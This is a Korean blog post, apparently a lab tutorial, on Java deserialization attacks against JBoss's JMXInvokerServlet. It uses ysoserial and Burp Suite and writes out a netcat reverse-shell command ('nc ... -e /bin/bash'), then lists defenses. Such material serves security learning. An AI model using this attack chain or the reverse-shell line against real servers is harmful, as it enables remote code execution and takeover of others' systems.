Web Hacking/기타

자바 역직렬화 취약점 공격

seungwon9201 2024. 7. 7. 00:34

직렬화와 역직렬화

자바 프로그램상에서 어떤 객체가 생성되면 그 객체는 메모리에 머무르게 되고, 프로그램이 실행되는 동안 필요에 따라서 사용된다. 그런데 프로그램이 종료되면 메모리에 있는 객체들은 사라진다. 객체에서는 프로그램이 사용하면서 저장한 데이터가 있는데 그 데이터를 다른 프로그램이 실행할 때도 사용해야 한다면 그 객체와 데이터를 파일이나 데이터베이스에 저장을 해야 할 것이다.

 

여기서 객체를 저장하기 위해서 객체를 바이트 스트림이라는 형태로 변화시키는데 이것을 직렬화라고 한다. 

반대로 역직렬화는 저장된 바이트 스트림을 다시 원래의 데이터로 불러오는 과정이다. 

 

추가적으로 직렬화와 역직렬화는 데이터를 네트워크를 통해 전송할때에도 사용을 한다. 

즉, 역직렬화가 수행되는 곳이 있다면 공격자는 직렬화된 바이트 스트림을 조작해서 임의의 바이트 스트림을 전송함으로써 자바 소프트웨어에 공격이 가능하다.

 

그래서 만약 자바 역직렬화가 발견되면 공격자가 원격에서 코드를 실행할 수 있는 RCE(Remote Code Execution) 공격으로 이어지기 때문에 심각한 영향을 줄 수 있다.


자바 역직렬화 취약점 공격 실습

-실습 목표-
ysoserial을 이용해서 자바 역직렬화 취약점을 공격한 다음 루트 권한의 쉘을 얻자. 

이번 실습에서는 JBoss를 대상으로 자바 역직렬화 취약점 공격을 수행할 계획이다.

이렇게 8080번 포트로 접속하면 JBoss에 접속이 된다.

우선 직렬화된 데이터가 어떤 식으로 표현되는지 알아보기 위해서 burp suite를 실행해서 아래의 주소로 접속해보자.

/invoker/JMXInvokerServlet

그러면 파일이 다운로드되는 창이 뜬다. 이 타입을 통해서 직렬화된 데이터가 전송되고 있다는 것을 알 수 있고 burp suite로도 확인이 가능하다.

이렇게 응답메시지를 보면 생소한 문자열들이 표시된다.

HEX 탭을 누르면 직렬화된 데이터임을 알려주는 패턴인 ac ed 00 05가 보인다. 이를 통해서 직렬화된 데이터가 전달되는 것을 알 수 있다.

-웹 모의해킹 팁-
ac ed 00 05 패턴과 이 패턴이 Base64 인코딩 된 rO0AB 패턴이 전송되는 것을 확인하면 자바 역직렬화 과정이 이뤄지는 위치에 대한 힌트를 얻을 수 있다.

직렬화된 데이터가 전송되는 것을 알았으니 이제 공격을 해보자.

 

자바 역직렬화 취약점 공격을 위해서 ysoserial 프로그램을 사용할 것이다.

이 주소로 접속해서 jar파일을 다운로드하면 된다.

다운로드한 jar파일을 이용하여 원하는 명령어를 실행할 수 있는 공격 코드를 만들 수 있다.

 

이제 본격적으로 공격을 해보자.

nc 명령어를 서버로 실행해 놓고 여기로 접속하는 명령문을 삽입한 payload를 ysoserial로 생성하여 취약점이 있는 경로(JBoss /invoker/JMXInvokerServet)로 보내면 원격 호스트에서 리버스로 접속하게 된다.

 

이때 nc 접속을 위한 명령문은 아래와 같다.

nc <칼리리눅스 IP> 4000 -e /bin/bash

java 버전 오류로 다음과 같이 입력하였다.

이렇게 명령문을 입력을 하면 reverse.bin파일이 하나가 생성이 될 것이다.

 

이렇게 생성된 payload 파일의 내용을 /invoker/JMXInvokerServlet URL로 전송시킨다.

아까 확인한 히스토리를 재사용하기 위해서 repeater로 보내자.

그리고 바디 부분에 오른쪽 마우스를 클릭하여 reverse.bin파일을 붙여 넣자.

reverse.bin파일의 내용이 추가됨

 

이제 send 버튼을 누르면 linstening 모드로 nc가 실행 중이던 터미널에 접속이 될 것이다.


자바 역직렬화 취약점 공격 대응법

  • apache CommonsCollections 패키지를 최신버전으로 업데이트하자.
  • 만약 개발 프로젝트에서 자체적으로 역직렬화를 수행하는 경우에는 아래의 과정으로 예방할 수 있다.
    1. 역직렬과 전에 인증 과정을 수행하자.
    2. 출처를 알 수 없는 객체의 경우 역직렬화를 수행하지 말자.
    3. 직렬화된 객체에 디지털 서명이 되도록 하여 역직렬화 과정에서 객체의 무결성을 점검하자.
    4. 가급적 최소 권한으로, 격리된 환경에서 역직렬화를 수행하자.

'Web Hacking > 기타' 카테고리의 다른 글

알려진 취약점을 이용한 공격  (0) 2024.07.06
접근 통제 취약점 공격  (0) 2024.07.06
민감한 데이터 노출 사례 실습  (0) 2024.07.01